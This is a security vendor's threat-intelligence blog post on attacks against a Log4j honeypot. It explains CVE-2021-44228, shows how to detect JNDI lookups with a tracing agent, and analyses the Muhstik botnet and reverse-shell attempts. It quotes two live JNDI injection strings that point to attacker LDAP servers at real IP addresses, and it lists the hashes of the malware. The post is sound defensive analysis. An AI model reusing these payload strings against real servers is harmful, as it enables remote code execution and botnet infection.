Aqua Blog

Threat Alert: Tracking Real-World Apache Log4j Attacks

December 17, 2021

This blog was co-authored with Ori Glassman, a security researcher at Aqua Security

Until last week, Log4j was just a popular Java logging framework, one of the numerous components that run in the background of many modern web applications. But since a zero-day vulnerability (CVE-2021-44228) was published, Log4j has made a huge impact on the security community as researchers found that it’s vulnerable to arbitrary code execution. Aqua’s Team Nautilus created a honeypot with this vulnerability to better understand how adversaries exploit it in real-world attacks.

A recap on CVE-2021-44228 in Log4j

On December 9, 2021, a zero-day vulnerability in the popular Log4j logging framework for Java was first published. NIST has given this vulnerability (CVE-2021-44228) a score 10 out of 10, which reflects its criticality. Since this vulnerability allows remote code execution and can easily be exploited, there are already dozens of PoCs available online as well as numerous reports that it’s being massively exploited in the wild.

Key findings

We ran an environment vulnerable to CVE-2021-44228 with Aqua’s platform running in the background. In the following hours, we detected dozens of unique attacks against our honeypots in real time. Some of the attacks are distinct and have attacked the environment only once or twice, while others have been targeting it repeatedly every few minutes, indicating a large botnet activity. Indeed, we have seen some of the largest botnets exploiting the Log4j vulnerability.

We have seen different types of attacks against our honeypots, including the Muhstik botnet, Mirai botnet, and several types of Reverse Shell attacks, all of which are described below.

Log4j attack distribution Figure 1: The attack distribution as seen on our honeypots

As seen in Figure 2, we detected multiple malicious techniques to exploit our environment, including known malware, fileless execution, files downloaded from a remote resource and executed straight from memory, and reverse shell executions.

Figure 2: Aqua’s detections of the Log4j attack attempts

One notable detection in Aqua’s platform that leveraged Aqua’s Cloud Native Detection and Response (CNDR) is a new executable dropped to memory. As can be seen in Figure 3, CNDR detected that the ELF pty3 (the Muhstik malware) was written straight into memory and executed:

Figure 3: The Muhstik malware is executed from memory

Attackers use this technique, among others, to avoid detection by agentless solutions and regular antivirus software (AV). These solutions normally detect known malicious threats by extracting a copy of the filesystem or monitoring VPC logs (network communication meta-data). But in this case, the Muhstik malware was written straight into memory and executed without touching the filesystem. Thus, agentless solutions, which can’t see the process running in memory, won’t be able to detect this malware.

Here’s how you can detect Log4j attacks with Aqua’s CNDR:

Detecting exploitation by hooking the JNDI lookup function

The JNDI, or Java Naming and Directory Interface, is a Java API for a directory service that allows Java software clients to discover and look up data and resources via a name. By inserting a hook on the function that the Log4j library uses to start the JNDI lookup, one can detect an attack attempt.

Trace Agent is a Java agent configurable by a simple text file to trace Java functions without any rebuild. You can download it from GitHub and add it to your application. This program has a config file called actions.txt that should be added to the agent’s jar. This allows adding a code that hooks to the lookup function. When there’s an active usage of Log4j, it captures the entire JNDI attack command that was passed.

Once running your application, you will receive the following printings to the screen indicating that your action.txt is loaded.

Figure 4: Loading Trace-Agent into your application

Once there is a JNDI attack attempt, the marker and the message that triggered the lookup will be captured:

Figure 5: The output of the Trace-Agent on a real JNDI attack

You can use this method to check if your application is actively using Log4j. After securing your application against CVE-2021-44228, you can verify that the steps you took helped you mitigate the risks.

Additionally, you can build a honeypot as we did. You can take the following steps to reconstruct the lookup hook:

1. Download the Trace-Agent jar file:
wget https://github.com/attilapiros/trace-agent/releases/download/v.0.0.8/trace-agent-0.0.8.jar

2. Create actions.txt file with the lookup hook:
echo "trace_args org.apache.logging.log4j.core.lookup.JndiLookup lookup" > actions.txt

3. Replace the actions.txt file in the Trace-Agent jar:
jar uf trace-agent-1.0-SNAPSHOT.jar actions.txt

4. Execute the vulnerable app with the lookup hook:
java -javaagent:trace-agent-0.0.8.jar -jar spring-boot-application.jar

Log4j attacks: Detailed analysis

We are monitoring the attack continuously. Below, we highlight some notable attacks on our honeypots.

The Muhstik malware

This is how the attackers exploited the Log4j vulnerability:

The attacker sent an HTTPS request with the following string embedded into the request headers:
${jndi:ldap://45.83.193.150:1389/Exploit}

If the attacker manages to make the server (the honeypot in our case) log anything that contains the attack string, the JNDI lookup is triggered.

The adversary used it to load the following Java class file:

Figure 6: The attacker’s Java class file decompiled

The code is designed to download and run s.cmd when running on Windows and a log shell file on Linux. Here, we analyzed the Linux payload.

Figure 7: The Linux payload

Five binaries and one shell script are downloaded:

pty1 (MD5: 9d647f2d1a9dd9a86ba18c42ff5da444)
pty2 (MD5: 6f3885eee3668bafbefefd2eb17f4105)
pty3 (MD5: ceb9a55eaa71101f86b14c6b296066c9)
pty4 (MD5: 3430139e131617957d8c6aa48002ddac)
pty5 (MD5: dcffb04aa4ccf54137c0ac921e181afd)
ldm (MD5: e6a6ca7b1aeed5f4cc1e43fd6384230e)

The 5 pty files were classified in Virus Total as the Muhskit malware.

Reverse shell

We have seen several attempts to open a reverse shell bypassing the following string in the user-agent header in the HTTPS request: ${jndi:ldap://159.223.5.30:1389/a}